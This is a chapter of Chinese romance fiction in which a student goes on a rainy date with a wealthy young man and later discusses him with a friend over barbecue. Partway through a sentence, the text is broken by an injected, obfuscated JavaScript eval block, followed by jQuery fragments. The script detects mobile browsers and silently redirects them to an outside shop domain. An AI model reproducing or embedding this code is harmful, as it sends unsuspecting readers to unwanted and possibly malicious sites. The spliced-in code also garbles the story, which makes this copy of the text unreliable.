早上醒来，雨声从窗帘缝隙里渗进来。祝青云掀开被子，走到窗前。玻璃上挂着斜斜的雨线，楼下的树叶被洗得发亮。
心理学有个名词叫皮格马利翁效应，指的是人们基于对某种情境的知觉而形成的期望或预言，会使该情境产生适应这一期望或预言的效应。用通俗的话来讲就是：你期望什么，你就会得到什么。
应用到祝青云这里，就是心想事成。
想起昨晚方严的微信："周末有空吗？出去走走。"她把那个"好"字删了又打，打了又删，最终只发了一个字。
拿了伞下楼，方严的车已经停在路边。深灰色奔驰，不是法拉利，也不是保时捷，不会在路人余光里占据一个需要被辨认的位置。她松了口气，又立刻提醒自己：车型不重要，重要的是谁坐在驾驶座上。她拉开车门，坐了进去。
车里有一股很淡的檀香味，混着皮革和雨水的气息。方严的手指搭在方向盘上，修长，骨节分明。他侧过脸看了她一眼，打开座椅加热："我怕你觉得冷。"
"我挺喜欢下雨天。"她说。
"早就该约你。"方严看着前方，"之前项目要close，新案子又进来，想状态好一点再见你。"
祝青云看着他的侧脸。这句话可以解读成很多种意思：他在解释，他在铺垫，他在给一个承诺的雏形。但她没有解读，只是看着雨刷在挡风玻璃上划出规律的弧线，一下，两下。
"没关系。"她说。
车开到国子监，绕了两圈才找到车位。雨小了，方严先下车，从后座拿了把黑伞，绕到她那侧，拉开车门。两人撑着一把伞往里走，路窄，伞沿时不时擦到两侧的柏树。方严半个肩膀露在雨里，衬衫洇出深色的点。祝青云往里让了半步："你往这边来一点，别淋到。"
方严没动，只是把伞换到左手，右手伸过来，握住了她的手指。
他的手很凉，带着雨水的潮气。祝青云像被烫了一下，手指僵在半空，忘了抽开，也忘了回握。她盯着前方青石板上的水洼，心跳快了几拍，脑子里一片空白。不是第一次被男生牵手，但在方严面前，总觉得自己反应慢半拍，像考试铃响了还在涂答题卡。
她深吸一口气，强装镇定，反手握住了他。
国子监很安静，雨把青石板洗得发黑。方严溜达了一圈，抬头看石碑："都不认识。"
"过来。"祝青云拉着他走到东侧，"刘墉，纪晓岚。你总该认识。"
方严低头看碑文，又转头看她，眼里有一点促狭："你怎么知道我认识？"
"乾隆年间的电视剧，"她说，"几乎都有这两个人。"
方严笑了一下，没接话。他确实知道，但从没来过这里。对他来说，体验是生活的一部分，不同的场景带来不同的新鲜感。有很多女生会在这里讲文化、讲历史，显得自己有趣。他不讨厌，也不当真，都只是插曲。
"原来你喜欢这儿，"他说，"我还真没来过。下雨天倒是挺安静。"
祝青云抬头，雨丝落在伞沿上，溅起细小的雾。古殿的琉璃瓦被洗成深青色，墙是暗红的，雨里看过去，颜色沉下去，不像晴天那么刺眼。
"刚才那个地方叫辟雍，"她说，"几百年前皇帝讲学的地方，周围全是俯身听讲的臣子。"
"你可真文艺，"方严说，"显得我特没文化。"
祝青云一怔。对她来说，读书和学习是唯一能改变命运的事，任何一个领域她都会去看、去学——不是因为有趣，是因为不知道机会从哪个方向来。她不喜欢他把这件事归结为"文艺"。
"不是你没文化，"她说，"是你不在这个语境里生活。"
方严看着她，笑了一下，没再说话。
女生头发松松地盘着，有一缕碎发从耳边散下来。方严看着她的嘴唇，唇线干干净净的，忽然欺身上前吻了她。
那个吻很轻，像雨水落在叶面上。祝青云愣了一下，没躲。雨声忽然变得很轻，像隔着一层水在响。不知道持续了多久，也许只有一两秒，也许更长——她只知道自己没后退，手指攥紧了伞柄，骨节发白。
方严退开的时候，她垂下眼睛，看着自己的鞋尖。心跳快得像有人在胸腔里跑八百米。脑子里忽然蹦出一句话，也不知道怎么想的——一见杨过误终身。
她怔了一下，随即觉得荒唐。哪跟哪呢。
饭后，方严开车送她回学校。雨还在下，车窗上斜斜地落着雨线，路灯的光晕在玻璃上化开。车里放着一首大提琴曲，低低的，像从很远的地方传来。
"曲子挺好听的。"祝青云说，声音有点哑。
方严侧头看了她一眼："你听过一个词吗？法语词，叫déjàvu。"
"似曾相识。"他说。
她看着窗外那些光斑，忽然想起小时候读过的一句诗，脱口而出："与君初相识，犹如故人归。"
方严没接话，只是握着方向盘的手紧了紧。车厢里安静了几秒，大提琴还在低低地响。
下车时冷风一吹，祝青云站在路边，嘴唇上还留着一点凉意，心里却是热的。她转身往宿舍楼走，脚步很快，像在逃。
接下来几天，专八和论文把日程塞满。但手机每亮一次，都会下意识地看。实在受不了这种悬着的感觉，她把方严的微信设成了免打扰。
方严还是会发消息。时间不固定，内容也不固定。有时候是一张加班时窗外的照片，有时候是一句"在干嘛"。她盯着屏幕，打了字又删掉，不知道该怎么回。她主动问过他要不要吃饭，他说周中忙，你周末要考试，考完再说。
心里空落落的，像有什么东西没着没落。
考完试那天和苏南约好吃烤肉。学校门口等车的时候，苏南点了根烟，祝青云接过来也点了一根。旁边有个带小孩参观的家长，刚说完"儿子你要好好学习才能考到这里"，转头看见两个漂亮女生在校门口齐齐抽烟，眼神顿了一下，像看到什么不该看的东西，赶紧拽着孩子走远了。
祝青云和苏南对视了一眼，笑了。
烤肉店在胡同里，排烟不好，烤盘上滋滋冒油，烟往上飘，熏得人眼睛发酸。苏南把五花肉一片片铺上去，祝青云负责翻面。肉烤到微焦的时候最香，苏南夹起一片，蘸了料，塞进嘴里，幸福地眯起眼睛。
祝青云的手机震了一下。方严："考的怎么样？"
她盯着那三个字看了两秒。同样的话，别人发过来她只是扫一眼，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740807|209103||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他发过来，她却在想该怎么回。
"哎哎，"苏南用筷子敲她的碗，"别看手机了，肉都糊了。"
祝青云这才回过神，赶紧把烤盘上的肉夹起来，边缘已经焦黑。她犹豫了一下，还是问："你说一个男生，每天给你发消息，但就是不提见面，这算喜欢吗？"
苏南正在喝可乐，差点呛住："祝青云，你问这种问题，是在侮辱你自己，还是在侮辱我？"
"不是，"祝青云把焦黑的肉拨到一边，"就不太一样。"
"什么男生啊，把你迷成这样。"苏南凑过来，"不会是上次天桥上那个吧？"
祝青云没说话，默认了。
"方严？"苏南放下可乐，声音低了一点，"我上次怎么跟你说的？这哥们从初中就开始谈恋爱，出国前我们小区女生为他开过失恋互助会。智商高，长得好，家里条件好，这种配置，注定不会只停在一个女生身边。"
祝青云夹了两片新肉放到烤盘上，油溅起来，她往后躲了躲。
"我不是说他不好，"苏南看着她，"我是说，你要是想认真谈，这种男的会很累。你以前那些男朋友，追你，请你吃饭，陪你上自习，顺理成章。但方严不是那种会顺理成章的人。"
"我知道。"
"你知道还往里跳？"
祝青云把肉翻了个面，没回答。她以前也谈过恋爱，对方都是中产家庭出来的男生，阳光，聪明，喜欢她就追了，一起上课，一起吃饭，牵手接吻，水到渠成。不讨厌，但也没有心跳。像完成一项任务，扮演好女朋友的角色，日子稳稳当当，没有波澜。
但方严不一样。你要问她为什么不一样，她说不出来。可能是他吻她时嘴唇的凉意，可能是他车里那首大提琴曲，可能是他发消息时那种不确定的节奏——每天来，但从不承诺什么。
"我就是，"祝青云看着烤盘上的肉，油滋滋地响，"控制不住地想。"
苏南看着她，叹了口气，把烤好的肉夹到她碗里："吃吧。糊了的我吃，你吃好的。"
那一刻，祝青云突然意识到，她不是不爱，是一见钟情对象的要求太高了。当人无法从自己的生活里得到满足的时候，就会从想象中去补偿。她的生活是严丝合缝计划精确的，但并不是每个人都这样——有些人压根就不需要计划。
苏南吃了口肉，犹豫了一下，还是直说："方严前几任，都是正经女朋友，家世长相学历，没有一样不是顶配。谈最久的那个，耶鲁艺术史，现在做策展人，朋友圈发的我都看不懂。共同好友多，八卦传得快。你要是图个开心，我没话说；别的，我就不好讲了。"
祝青云把烤盘上的肉翻了个面，没抬头。油溅在铁板上，滋啦一声，她没躲。
"还有，"苏南看着她，声音低下去，"他家大概在这个数。"她伸出两只手，十指张开，又翻了好几次。
"越有钱的人越精，"苏南说，"谈恋爱是消遣，结婚是资产重组。门当户对，1+1大于2，这是基本操作。"
祝青云用筷子戳着碗里的肉，酱汁渗进米饭，洇开一团深色。她盯着那团颜色，忽然想：自己能赢在哪里呢。
她要努力多久，才能赚到那个数字。